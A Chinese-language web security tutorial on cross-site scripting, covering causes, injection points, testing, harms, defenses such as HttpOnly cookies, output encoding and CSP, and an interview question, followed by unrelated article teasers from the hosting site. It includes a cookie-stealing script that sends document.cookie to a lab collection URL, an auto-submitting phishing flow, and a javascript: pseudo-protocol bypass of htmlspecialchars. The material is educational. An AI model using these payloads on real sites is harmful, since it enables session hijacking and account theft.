Web渗透测试之XSS跨站脚本 原理 出现的原因 出现的位置 测试的方法 危害 防御手段 面试题 一篇文章给你说的明明白白

 目录

XSS介绍的原理和说明

Cross Site Scripting

钓鱼

XSS攻击原理

XSS漏洞出现的原因:

XSS产生的原因分析

XSS出现位置:

XSS测试方法

XSS的危害

防御手段:

其它防御

面试题:

备注:


XSS介绍的原理和说明

  • 嵌入在客户端脚本 对客户端进行攻击的
  • Owstop ten 十大漏洞

OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。

  • Cross Site Scripting

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。

钓鱼【XSS实例中的一种】

"<script> document.location = 'http://192.168.1.7/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>"

整体的获取过程

  • 先看看哪里有xss漏洞 再去干
  • 黑客先登录这个网站 清除cookie信息
  • 钓鱼就是调cookie
  • 网址没有变化就是post请求 不是get请求
  • document.getElementById("postsubmit").click();
  • 找到这个标签自动点击这个标签
  • ----------------------------------------------------------------------------------------------------------
  • 1 首先解析 自上而下执行完成
  • 2 获取cookie攻击代码 获取浏览器cookie
  • 3 执行windowws.onload 开始执行这个方法
  • 4 执行这个方法 document.getElementById("postsubmit").click();执行这个按钮
  • 5 发送这个html给用户 用户使用用户名密码进行登录 cookie就发送给黑客的网站了
  • 6 这样的方式就叫做钓鱼

XSS攻击原理

XSS漏洞出现的原因:

  • 程序对输入和输出的控制不够严格

    • 导致"精心构造"的脚本输入后

    • 在输出到前端时被浏览器当作有效代码解析执行从而产生危害

XSS产生的原因分析

  • 服务端程序没有对输入输出严格的过滤

    • 导致黑客精心构造的输入脚本,输入到了服务端

    • 然后并且输出浏览器当成有效的代码执行了,导致了客户端收到了攻击。

  • 如果客户端不是有效的代码,只是数据,攻击客户端的只有可执行的程序

  • 只要不是程序就执行不起来,浏览器默认解析js代码,解析就会执行这个代码。
    • 如何让他不执行
    • 这个后端就会有防御手段。

XSS出现位置:

  • 哪里提交了数据
  • 哪里展示了数据
  • 也就是有输入有输出的地方 js只有在浏览器不能执行 只能在浏览器上运行
  • 用户输入输出用户交互的地方 都可能存在xss攻击
  • Html文档中 标签中
  • URLContext
  • Css样式

XSS测试方法

  • 工具扫描

  • 手工测试

  • 工具和手工 都需要我们去综合利用

XSS的危害

  • 窃取cookie的sessionid,冒充用户登录
  • 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 盗窃企业重要的具有商业价值的资料
  • 控制受害者机器向其它网站发起攻击(重定向语句)
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 强制发送电子邮件
  • 网站挂马
  • 非法转账

防御手段:

  • 用户提交数据的时候
    • 没有在客户端进行过滤js代码,当然也可以绕过让过防御手段

  • 服务端将js存储在数据库中的代码
    • 服务端给出html代码,攻击代码被服务端解析到html
    • 发送给客户端了,这样客户端就解析了xss代码
    • 这个时候服务端就需要做输出过滤 不在是js代码 是普普通通的数据】 客户端就不会执行js代码

  • 如果您在cookie中设置了HttpOnly属性
    • 那么通过js脚本将无法读取到cookie信 息
    • 这样能有效的防止XSS攻击导致的cookie被盗取。 

  • 对输入进行过滤或清理

  • 使用预备语句
    • 在数据库查询中使用预备语句以避免XSS攻击通过输入传播到数据库

  • 实施输出编码
    • 确保在输出到HTML时使用适当的HTML编码函数

  • 使用内容安全策略

  • 审查和测试

  • 定期进行安全审计和漏洞扫描

其它防御

对输入进行过滤

  • 对输出进行编码 --- 编码指的是html实体编码

输入输出的位置

  • 输出给了js,js代码中直接将编码正常的标签编码 ----- 输出到html能识别的编码

面试题:

如果服务端使用了htmlspecialchars 防范

  • 你该如何处理我们使用

  • JavaScript伪协议

    • 使用前提

      • xss之href输出绕过:javascript:alert(1111)

      • 直接代入a标签herf里面一样可以绕过htmlspecialchars

      • 如果没有把用户提交的数据交给a标签,其实很难绕过了

      • 以及js代码写入进行绕过

备注:

  • 输入输出都没有做严格的过滤 这个在视频上还要多研究研究 XSS漏洞出现的本质原因
  • XSS玩的最多的就是盗取Cookie JS 代码能干啥 就取决于JS代码的功能,XSS代码能造成多大的影响取决于js代码

  • 而这玩意我们称之为钓鱼

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/950048.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

热门数据手套对比,应用方向有何不同?

AI与人形机器人是目前市场中大热的两个新行业。在人形机器人或拟人仿真机器人制造与开发中动作捕捉技术的融入是必不可少的&#xff0c;通过将动捕数据与先进的AI大数据训练技术相结合&#xff0c;不仅能够省去枯燥乏味的动作编程过程大幅减少训练时间&#xff0c;还可以使训练…

dbt Semantic Layer 详细教程-1 :总体概述

dbt 语义模型提供语言描述方式快速定义业务指标。本文介绍语义模型作用和意义&#xff0c;以及语义模型的组成部分&#xff0c;后面会继续介绍如何定义语义模型&#xff0c;基于语义模型定义指标&#xff0c;如何通过MetricFlow&#xff08;语义层框架&#xff09;能够构建用于…

JAVA:探讨 CopyOnWriteArrayList 的详细指南

1、简述 在 Java 的并发编程中&#xff0c;CopyOnWriteArrayList 是一种特殊的线程安全的集合类。它位于 java.util.concurrent 包中&#xff0c;主要用于在并发读写场景下提供稳定的性能。与传统的 ArrayList 不同&#xff0c;CopyOnWriteArrayList 通过在每次修改时创建一个…

简单编程实现QT程序黑色主题显示

代码如下 int main(int argc, char *argv[]) {QApplication a(argc, argv);//QSurfaceFormat::setDefaultFormat(QVTKOpenGLStereoWidget::defaultFormat());QPalette darkpalette;a.setStyle(QStyleFactory::create("Fusion"));darkpalette.setColor(QPalette::Wind…

沁恒CH32V208GBU6外设PWM:注意分辨时钟使能函数RCC_APB2PeriphClockCmd;PWM模式1和模式2的区别;PWM动态开启和关闭

从事嵌入式单片机的工作算是符合我个人兴趣爱好的,当面对一个新的芯片我即想把芯片尽快搞懂完成项目赚钱,也想着能够把自己遇到的坑和注意事项记录下来,即方便自己后面查阅也可以分享给大家,这是一种冲动,但是这个或许并不是原厂希望的,尽管这样有可能会牺牲一些时间也有哪天原…

飞书企业消息实践

一、飞书自带的消息机器人限制 频控策略 - 服务端 API - 飞书开放平台 自定义机器人的频率控制和普通应用不同&#xff0c;为单租户单机器人 100 次/分钟&#xff0c;5 次/秒。建议发送消息尽量避开诸如 10:00、17:30 等整点及半点时间&#xff0c;否则可能出现因系统压力导致…

0107作业

思维导图 练习: 要求在堆区连续申请5个int的大小空间用于存储5名学生的成绩&#xff0c;分别完成空间的申请、成绩的录入、升序 排序、 成绩输出函数以及空间释放函数&#xff0c;并在主程序中完成测试 要求使用new和delete完成 #include <iostream>using namespace std…

以C++为基础快速了解C#

using System: - using 关键字用于在程序中包含 System 命名空间。 一个程序一般有多个 using 语句, 相当于C的 using namespace std; C# 是大小写敏感的。 所有的语句和表达式必须以分号&#xff08;;&#xff09;结尾。 程序的执行从 Main 方法开始。 与 Java 不同的是&#…

面试题:并发与并行的区别?

并发&#xff08;Concurrency&#xff09;和并行&#xff08;Parallelism&#xff09;是计算机科学中两个相关但不同的概念&#xff0c;它们都涉及到同时处理多个任务&#xff0c;但在实现方式和效果上有显著的区别。理解这两者的区别对于编写高效的多任务程序非常重要。 并发&…

面向对象分析和设计OOA/D,UML,GRASP

目录 什么是分析和设计&#xff1f; 什么是面向对象的分析和设计&#xff1f; 迭代开发 UML 用例图 交互图 基于职责驱动设计 GRASP 常见设计原则 什么是分析和设计&#xff1f; 分析&#xff0c;强调是对问题和需求的调查研究&#xff0c;不是解决方案。例如&#x…

MySQL使用navicat新增触发器

找到要新增触发器的表&#xff0c;然后点击设计&#xff0c;找到触发器标签。 根据实际需要&#xff0c;填写相关内容&#xff0c;操作完毕&#xff0c;点击保存按钮。 在右侧的预览界面&#xff0c;可以看到新生成的触发器脚本

Anthropic 的人工智能 Claude 表现优于 ChatGPT

在人工智能领域&#xff0c;竞争一直激烈&#xff0c;尤其是在自然语言处理&#xff08;NLP&#xff09;技术的发展中&#xff0c;多个公司都在争夺市场的主导地位。OpenAI的ChatGPT和Anthropic的Claude是目前最具影响力的两款对话型AI产品&#xff0c;它们都能够理解并生成自然…

《罪恶装备-奋战》官方中文学习版

《罪恶装备 -奋战-》是Arc System Works开发的格斗游戏《罪恶装备》系列的第二十五部作品 [1]&#xff0c;男主角索尔历时25年的故事就此画上句号&#xff0c;而罪恶装备的故事却并未结束。 《罪恶装备-奋战》官方中文版 https://pan.xunlei.com/s/VODWAm1Dv-ZWVvvmUMflgbbxA1…

期末概率论总结提纲(仅适用于本校,看文中说明)

文章目录 说明A选择题1.硬币2.两个事件的关系 与或非3.概率和为14.概率密度 均匀分布5.联合分布率求未知参数6.联合分布率求未知参数7.什么是统计量&#xff08;记忆即可&#xff09;8.矩估计量9.117页12题10.显著水平阿尔法&#xff08;背公式就完了&#xff09; 判断题11.事件…

流程图(四)利用python绘制漏斗图

流程图&#xff08;四&#xff09;利用python绘制漏斗图 漏斗图&#xff08;Funnel Chart&#xff09;简介 漏斗图经常用于展示生产经营各环节的关键数值变化&#xff0c;以较高的头部开始&#xff0c;较低的底部结束&#xff0c;可视化呈现各环节的转化效率与变动大小。一般重…

继承(5)

大家好&#xff0c;今天我们继续来学习继承的相关知识&#xff0c;来看看子类构造方法&#xff08;也叫做构造器&#xff09;是如何做的。 1.6 子类构造方法 父子父子,先有父再有子,即:子类对象构选时,需要先调用基类构造方法,然后执行子类的构造方法 ★此时虽然执行了父类的…

Vue框架主要用来做什么?Vue框架的好处和特性.

在快速发展的互联网时代&#xff0c;前端开发技术的变革日新月异&#xff0c;为开发者带来了前所未有的机遇与挑战。Vue.js&#xff0c;作为前端开发领域的一颗璀璨新星&#xff0c;以其轻量级、高效灵活的特性&#xff0c;赢得了广大开发者的青睐。本文将深入探讨Vue框架的主要…

搭建Hadoop分布式集群

软件和操作系统版本 Hadoop框架是采用Java语言编写&#xff0c;需要java环境&#xff08;jvm&#xff09; JDK版本&#xff1a;JDK8版本 &#xff0c;本次使用的是 Java: jdk-8u431-linux-x64.tar.gz Hadoop: hadoop-3.3.6.tar.gz 三台Linux虚拟节点: CentOS-7-x86_64-DVD-2…

电子应用设计方案87:智能AI收纳箱系统设计

智能 AI 收纳箱系统设计 一、引言 智能 AI 收纳箱系统旨在为用户提供更高效、便捷和智能的物品收纳与管理解决方案&#xff0c;通过融合人工智能技术和创新设计&#xff0c;提升用户的生活品质和物品整理效率。 二、系统概述 1. 系统目标 - 实现物品的自动分类和整理&#xf…

MySQL数据结构选择

系列文章目录 一、MySQL数据结构选择 二、MySQL性能优化explain关键字详解 三、MySQL索引优化 文章目录 系列文章目录前言一、索引1.1、什么是索引1.2、构建索引的过程1.3、索引的更新和维护1.4、索引的查询和管理1.5、InnoDB 和 MyISAM 的索引实现1.6、联合索引和最左前缀法则…